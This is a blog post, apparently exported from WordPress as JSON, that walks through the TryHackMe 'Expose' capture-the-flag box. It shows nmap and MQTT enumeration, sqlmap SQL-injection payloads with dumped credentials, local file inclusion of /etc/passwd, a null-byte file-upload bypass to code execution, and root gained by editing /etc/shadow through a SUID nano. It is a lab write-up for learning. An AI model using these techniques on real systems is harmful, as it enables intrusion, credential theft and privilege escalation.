{"id":227,"date":"2025-07-01T09:27:24","date_gmt":"2025-07-01T09:27:24","guid":{"rendered":"https:\/\/hackingwithj.com\/?p=227"},"modified":"2025-07-09T18:02:07","modified_gmt":"2025-07-09T18:02:07","slug":"ctf-expose","status":"publish","type":"post","link":"https:\/\/hackingwithj.com\/?p=227","title":{"rendered":"CTF: Expose"},"content":{"rendered":"\n<p>Today I tackled the <em>Expose<\/em> challenge on TryHackMe. As part of improving my pentesting workflow, I\u2019m trying to write these posts in a more formal, report-style format \u2014 blending hands-on testing with structured documentation.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Reconnaissance<\/h1>\n\n\n\n<p>I started with a simple nmap scan:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-245f14690701c3c83c795c420604dddf\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/expose]\n\u2514\u2500$ nmap -sV -T4 -A -p- -Pn 10.10.245.228\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-01 01:04 EDT\nNmap scan report for 10.10.245.228\nHost is up (0.029s latency).\nNot shown: 65530 closed tcp ports (reset)\nPORT     STATE SERVICE                 VERSION\n21\/tcp   open  ftp                     vsftpd 2.0.8 or later                                                                                                        \n22\/tcp   open  ssh                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)                     \n53\/tcp   open  domain                  ISC BIND 9.16.1 (Ubuntu Linux)\n1337\/tcp open  http                    Apache httpd 2.4.41 ((Ubuntu))\n1883\/tcp open  mosquitto version 1.6.9\nDevice type: general purpose\nRunning: Linux 4.X\nOS CPE: cpe:\/o:linux:linux_kernel:4.15\nOS details: Linux 4.15\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 8888\/tcp)\nHOP RTT      ADDRESS\n1   27.67 ms 10.21.0.1\n2   28.99 ms 10.10.245.228<\/code><\/pre>\n\n\n\n<p>The target runs several interesting services. I decided to explore them one by one.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd10 FTP (Port 21)<\/h2>\n\n\n\n<p>Anonymous login was enabled, but no files were listed. Interestingly, the <code>PUT<\/code> command was allowed \u2014 possibly useful later for file uploads.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-69520877a100c6d623b7bec3021dd011\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/expose]\n\u2514\u2500$ ftp expose.thm\nConnected to expose.thm.\n220 Welcome to the Expose Web Challenge.\nName (expose.thm:kali): anonymous\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> dir\n229 Entering Extended Passive Mode (|||6368|)\n150 Here comes the directory listing.\n226 Directory send OK.\nftp> ls\n229 Entering Extended Passive Mode (|||30755|)\n150 Here comes the directory listing.\n226 Directory send OK.<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udce1 MQTT (Port 1883)<\/h2>\n\n\n\n<p>This was new territory for me \u2014 I\u2019ve got MQTT devices at home, but never tested them offensively. From HackTricks:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Authentication is totally optional and even if authentication is being performed, encryption is not used by default (credentials are sent in clear text). MITM attacks can still be executed to steal passwords.<\/p>\n<\/blockquote>\n\n\n\n<p>I used <a class=\"\" href=\"https:\/\/github.com\/h4wkst3r\/mqtt-client-shell\"><code>python-mqtt-client-shell<\/code><\/a> to connect:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-22bb2484a1207fcd604c81e905ee663c\">> <code>host 10.10.245.228<br>> connect<br>> subscribe \"#\" 1<br>> subscribe \"$SYS\/#\"<\/code><\/pre>\n\n\n\n<p>Shortly after, messages started appearing, including:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-1de6fc9d0c4844f09f30bb530ad5fc52\"><code>Topic: $SYS\/broker\/version<br>Payload: mosquitto version 1.6.9<\/code><\/pre>\n\n\n\n<p>Nothing sensitive was leaked, but it confirmed the service was unauthenticated and readable.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"197\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-4-1024x197.png\" alt=\"\" class=\"wp-image-251\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-4-1024x197.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-4-300x58.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-4-768x148.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-4-1536x295.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-4.png 1831w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Wireshark<\/em><\/figcaption><\/figure>\n\n\n\n<p>\ud83e\udde0 <strong>Note to self:<\/strong> Learn more about exploiting MQTT topics for lateral movement or code execution.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83c\udf10 HTTP (Port 1337)<\/h2>\n\n\n\n<p>The homepage only displayed the word <code>EXPOSED<\/code>. The HTML source gave no real hints, so I launched a directory brute-force with <code>dirb<\/code>:<\/p>\n\n\n\n<p><strong>Interesting paths:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\/admin<\/code> \u2192 fake login page<\/li>\n\n\n\n<li><code>\/javascript<\/code> \u2192 403 Forbidden<\/li>\n\n\n\n<li><code>\/phpmyadmin<\/code> \u2192 accessible but unauthenticated<\/li>\n\n\n\n<li><code>\/admin_101<\/code> \u2192 contains a working login form<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">SQL Injection on <code>\/admin_101<\/code><\/h3>\n\n\n\n<p>The login form at <code>\/admin_101<\/code> looked suspicious. The username field was pre-filled \u2014 possible hint. I inspected the HTML source and captured the request with <strong>Burp Suite<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"462\" height=\"366\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-1.png\" alt=\"\" class=\"wp-image-233\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-1.png 462w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-1-300x238.png 300w\" sizes=\"auto, (max-width: 462px) 100vw, 462px\" \/><figcaption class=\"wp-element-caption\"><em>source-code<\/em><\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"883\" height=\"331\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-2.png\" alt=\"\" class=\"wp-image-234\" style=\"width:928px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-2.png 883w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-2-300x112.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-2-768x288.png 768w\" sizes=\"auto, (max-width: 883px) 100vw, 883px\" \/><figcaption class=\"wp-element-caption\"><em>Burp request<\/em><\/figcaption><\/figure>\n\n\n\n<p>After saving the POST request, I tested it with <code>sqlmap<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-16679a129bf1a8f6b6fc20e835d0a9c5\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/expose]\n\u2514\u2500$ sqlmap -r post_login.txt -p email\n\n&#91;01:51:02] &#91;INFO] testing 'MySQL UNION query (54) - 81 to 100 columns'\nPOST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? &#91;y\/N] n\nsqlmap identified the following injection point(s) with a total of 700 HTTP(s) requests:\n---\nParameter: email (POST)\n    Type: boolean-based blind\n    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)\n    Payload: email=dfdfg' AND EXTRACTVALUE(9828,CASE WHEN (9828=9828) THEN 9828 ELSE 0x3A END)-- qyuE&amp;password=dfgdfg\n\n    Type: error-based\n    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)\n    Payload: email=dfdfg' AND GTID_SUBSET(CONCAT(0x7178717071,(SELECT (ELT(8703=8703,1))),0x7176766a71),8703)-- KQad&amp;password=dfgdfg\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: email=dfdfg' AND (SELECT 6283 FROM (SELECT(SLEEP(5)))kYqY)-- VrAj&amp;password=dfgdfg\n---\n&#91;01:51:07] &#91;INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)\nweb application technology: Apache 2.4.41\nback-end DBMS: MySQL >= 5.6<\/code><\/pre>\n\n\n\n<p>Dumping the database:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-4b434ea943be6925486b8214b5611cd2\"><code>Database: expose\nTable: config\n&#91;2 entries]\n+----+------------------------------+-----------------------------------------------------+\n| id | url                          | password                                            |\n+----+------------------------------+-----------------------------------------------------+\n| 1  | \/file1010111\/index.php       | 69c66901194a6486176e81f5945b8929                    |\n| 3  | \/upload-cv00101011\/index.php | \/\/ ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |\n+----+------------------------------+-----------------------------------------------------+\n\n&#91;01:55:51] &#91;INFO] table 'expose.config' dumped to CSV file '\/home\/kali\/.local\/share\/sqlmap\/output\/expose.thm\/dump\/expose\/config.csv'\n&#91;01:55:51] &#91;INFO] fetching columns for table 'user' in database 'expose'\n&#91;01:55:51] &#91;INFO] retrieved: 'id'\n&#91;01:55:51] &#91;INFO] retrieved: 'int'\n&#91;01:55:51] &#91;INFO] retrieved: 'email'\n&#91;01:55:51] &#91;INFO] retrieved: 'varchar(512)'\n&#91;01:55:51] &#91;INFO] retrieved: 'password'\n&#91;01:55:52] &#91;INFO] retrieved: 'varchar(512)'\n&#91;01:55:52] &#91;INFO] retrieved: 'created'\n&#91;01:55:52] &#91;INFO] retrieved: 'timestamp'\n&#91;01:55:52] &#91;INFO] fetching entries for table 'user' in database 'expose'\n&#91;01:55:52] &#91;INFO] retrieved: '2023-02-21 09:05:46'\n&#91;01:55:52] &#91;INFO] retrieved: 'hacker@root.thm'\n&#91;01:55:52] &#91;INFO] retrieved: '1'\n&#91;01:55:52] &#91;INFO] retrieved: 'VeryDifficultPassword!!#@#@!#!@#1231'\nDatabase: expose\nTable: user\n&#91;1 entry]\n+----+-----------------+---------------------+--------------------------------------+\n| id | email           | created             | password                             |\n+----+-----------------+---------------------+--------------------------------------+\n| 1  | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 |\n+----+-----------------+---------------------+--------------------------------------+<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\ud83d\udd13 Getting Access<\/h1>\n\n\n\n<p>With credentials and two hidden pages from the earlier SQL injection, it&#8217;s time to move toward initial access. Here&#8217;s what we know:<\/p>\n\n\n\n<p><strong>Credentials found:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-63d301bb4806c29e52d675d11282fb8a\"><code>hacker@root.thm : VeryDifficultPassword!!#@#@!#!@#1231<\/code><\/pre>\n\n\n\n<p><strong>Discovered hidden paths:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-70472e5d67dca61604c9e4148f5890c0\"><code>\/file1010111\/index.php<br>\/upload-cv00101011\/index.php<\/code><\/pre>\n\n\n\n<p>We also extracted a password hash which couldn\u2019t be cracked using default <code>rockyou.txt<\/code> in Hashcat. However, CrackStation succeeded, revealing:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-4f9f60065a9b1a4499bc11f2ca190ae0\"><code>easytohack<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Page analysis: <code>\/file1010111\/index.php<\/code><\/h2>\n\n\n\n<p>After logging into this page, it returned a blank screen. A quick look at the source code gave a subtle hint that file handling might be going on in the background:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"46\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-6-1024x46.png\" alt=\"\" class=\"wp-image-253\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-6-1024x46.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-6-300x13.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-6-768x34.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-6.png 1337w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Changing the request method to <code>GET<\/code> in Burp Suite didn\u2019t yield results. But appending a query parameter manually revealed more:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-6fefab04880d608abc149b90b4436842\"><code>\/file1010111\/index.php?file=<\/code><\/pre>\n\n\n\n<p>Testing for Local File Inclusion (LFI) worked. Using path traversal, I managed to access <code>\/etc\/passwd<\/code> and filtered out users without shells. That revealed:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-7f4c164c9d4e6f4d13c42ff27b725f26\"><code>root:x:0:0:root:\/root:\/bin\/bash\nubuntu:x:1000:1000:Ubuntu:\/home\/ubuntu:\/bin\/bash\nzeamkish:x:1001:1001:Zeam Kish,1,1,:\/home\/zeamkish:\/bin\/bash<\/code><\/pre>\n\n\n\n<p>We now know the valid user: <strong>zeamkish<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Page analysis: <code>\/upload-cv00101011\/index.php<\/code><\/h2>\n\n\n\n<p>This page prompts for a username. Using <code>zeamkish<\/code>, we were granted access and presented with a file upload form.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"314\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-5-1024x314.png\" alt=\"\" class=\"wp-image-252\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-5-1024x314.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-5-300x92.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-5-768x235.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-5-1536x470.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-5.png 1914w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The form only accepts <code>.png<\/code> files. After uploading a test image, a message instructed me to check this path: <code>\/upload-cv00101011\/upload_thm_1001\/<\/code> Visiting http:\/\/expose.thm:1337\/upload-cv00101011\/upload_thm_1001\/ showed the uploaded file successfully\u2014indicating we had write access.<\/p>\n\n\n\n<p>Checking the source code of the upload page, I found client-side validation:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-e620706d7fc4a51f85d150521101f066\"><code>&lt;script>\nfunction validate(){\n\n var fileInput = document.getElementById('file');\n  var file = fileInput.files&#91;0];\n  \n  if (file) {\n    var fileName = file.name;\n    var fileExtension = fileName.split('.').pop().toLowerCase();\n    \n    if (fileExtension === 'jpg' || fileExtension === 'png') {\n      \/\/ Valid file extension, proceed with file upload\n      \/\/ You can submit the form or perform further processing here\n      console.log('File uploaded successfully');\n\t  return true;\n    } else {\n      \/\/ Invalid file extension, display an error message or take appropriate action\n      console.log('Only JPG and PNG files are allowed');\n\t  return false;\n    }\n  }\n}\n&lt;\/script><\/code><\/pre>\n\n\n\n<p>A simple rename like <code>shell.php.png<\/code> was blocked.<\/p>\n\n\n\n<p>In Burp, I intercepted the upload request and modified the filename to include a null byte (<code>%00<\/code>) before the extension. That bypassed the check:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"293\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-7-1024x293.png\" alt=\"\" class=\"wp-image-254\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-7-1024x293.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-7-300x86.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-7-768x220.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-7-1536x440.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-7.png 1571w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The server saved it as a <code>.php<\/code> file and executed it \u2014 confirming Remote Code Execution (RCE).<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Privilege Escalation<\/h1>\n\n\n\n<p>After stabilzing my shell I started looking arround and found:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-1a35ab6e06911eebb9b48d87cee5d7c8\"><code>www-data@ip-10-10-242-59:\/$ ls -la \/home\ntotal 16\ndrwxr-xr-x  4 root     root     4096 Jun 30  2023 .\ndrwxr-xr-x 20 root     root     4096 Jul  1 07:03 ..\ndrwxr-xr-x  8 ubuntu   ubuntu   4096 Jul  6  2023 ubuntu\ndrwxr-xr-x  3 zeamkish zeamkish 4096 Jul  6  2023 zeamkish\nwww-data@ip-10-10-242-59:\/$ ls -la \/home\/zeamkish\/\ntotal 36\ndrwxr-xr-x 3 zeamkish zeamkish 4096 Jul  6  2023 .\ndrwxr-xr-x 4 root     root     4096 Jun 30  2023 ..\n-rw-rw-r-- 1 zeamkish zeamkish    5 Jul  6  2023 .bash_history\n-rw-r--r-- 1 zeamkish zeamkish  220 Jun  8  2023 .bash_logout\n-rw-r--r-- 1 zeamkish zeamkish 3771 Jun  8  2023 .bashrc\ndrwx------ 2 zeamkish zeamkish 4096 Jun  8  2023 .cache\n-rw-r--r-- 1 zeamkish zeamkish  807 Jun  8  2023 .profile\n-rw-r----- 1 zeamkish zeamkish   27 Jun  8  2023 flag.txt\n-rw-rw-r-- 1 root     zeamkish   34 Jun 11  2023 ssh_creds.txt\nwww-data@ip-10-10-242-59:\/$ cat \/home\/zeamkish\/ssh_creds.txt \nSSH CREDS\nzeamkish\neasytohack@123<\/code><\/pre>\n\n\n\n<p>Using <code>zeamkish:easytohack@123<\/code>, I opened a full SSH session. In the home folder, the user flag was also waiting in <code>flag.txt<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Linpeas<\/h2>\n\n\n\n<p>To speed things up, I always run <strong>LinPEAS<\/strong> for local privilege escalation enumeration. Some of the more interesting findings:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Ports<\/strong> on localhost:\n<ul class=\"wp-block-list\">\n<li>1111<\/li>\n\n\n\n<li>953<\/li>\n\n\n\n<li>1883<\/li>\n\n\n\n<li>33060<\/li>\n\n\n\n<li>3306<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Uncommon <\/strong>SUID Binaries\n<ul class=\"wp-block-list\">\n<li>rwsr-x&#8212; 1 root zeamkish 313K Feb 18 2020 \/usr\/bin\/find<\/li>\n\n\n\n<li>rwsr-xr-x 1 root root 313K Apr 10 2020 \/usr\/bin\/nano<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><strong>Analysis<\/strong><\/p>\n\n\n\n<p>At first, I thought the <code>nano<\/code> SUID might be limited in use, but it actually gave me enough permissions to access sensitive files as root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"586\" height=\"145\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8.png\" alt=\"\" class=\"wp-image-255\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8.png 586w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-8-300x74.png 300w\" sizes=\"auto, (max-width: 586px) 100vw, 586px\" \/><figcaption class=\"wp-element-caption\"><em>Screenshot from my notes<\/em><\/figcaption><\/figure>\n\n\n\n<p>but only because <code>nano<\/code> ran as root, not because I <em>became<\/em> root. So technically, I wasn\u2019t root yet.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Getting Root<\/h2>\n\n\n\n<p>Since <code>nano<\/code> is SUID root and can edit anything, I realized I could modify <code>\/etc\/passwd<\/code> and <code>\/etc\/shadow<\/code>. Time to add a real root-level user.<\/p>\n\n\n\n<p>First, I generated a password hash using OpenSSL:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-90c00187d1edb3b310efdace950397db\"><code>zeamkish@ip-10-10-242-59:\/home\/ubuntu$ openssl passwd -1 -salt CTF_Saltje \"mijnr00twachtwoord!\"\n$1$CTF_Salt$CJUxj1WEXkjUz\/J5sbHvt0<\/code><\/pre>\n\n\n\n<p>I appended the following line using nano:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-3be99046a77fb913ed36bbdb6fd0294f\"><code>newroot:x:0:0:New Root:\/root:\/bin\/bash<\/code><\/pre>\n\n\n\n<p>And then updated <code>\/etc\/shadow<\/code> with:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-0f312d9b930a441b286dd90d3ddd3791\"><code>newroot:$1$CTF_Salt$CJUxj1WEXkjUz\/J5sbHvt0:0:0:99999:7:::<\/code><\/pre>\n\n\n\n<p>Yes, <code>nano<\/code> was able to write both files due to the SUID bit. For some reason, the new user didn\u2019t work. Either login was blocked, or something went wrong with the shadow file. Still using <code>nano<\/code> as root, I opened <code>\/etc\/shadow<\/code> again and replaced the hash for the existing <code>root<\/code> user with my custom hash. That worked<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udcd8 Lessons Learned<\/h2>\n\n\n\n<p>This box had some cool gotchas that made it more interesting than expected. Here&#8217;s what I took away:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What Went Well<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Enumeration discipline paid off<\/strong>: LinPEAS gave me everything I needed. The SUID <code>nano<\/code> was subtle but powerful.<\/li>\n\n\n\n<li><strong>Recognizing false positives<\/strong>: Just because you can read <code>\/root\/root.txt<\/code> doesn\u2019t mean you\u2019re root. That moment of \u201cwait\u2026 am I really root?\u201d helped me pause and rethink.<\/li>\n\n\n\n<li><strong>Plan B thinking<\/strong>: When adding a user failed, falling back to modifying the <code>root<\/code> hash directly saved the day.<\/li>\n\n\n\n<li><strong>Null byte upload bypass<\/strong><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What I\u2019d Do Differently<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Verify user creation more closely<\/strong>: I should\u2019ve double-checked PAM or SSH login behavior before assuming the new user was usable.<\/li>\n\n\n\n<li><strong>Dig into shadow file structure<\/strong>: A deeper understanding of how fields in <code>\/etc\/shadow<\/code> work would\u2019ve helped debug the login issue faster.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today I tackled the Expose challenge on TryHackMe. As part of improving my pentesting workflow, I\u2019m trying to write these posts in a more formal, report-style format \u2014 blending hands-on testing with structured documentation. Reconnaissance I started with a simple nmap scan: The target runs several interesting services. I decided to explore them one by [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[8],"tags":[18],"class_list":["post-227","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-sqlmap"],"_links":{"self":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=227"}],"version-history":[{"count":21,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/227\/revisions"}],"predecessor-version":[{"id":257,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/227\/revisions\/257"}],"wp:attachment":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=227"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}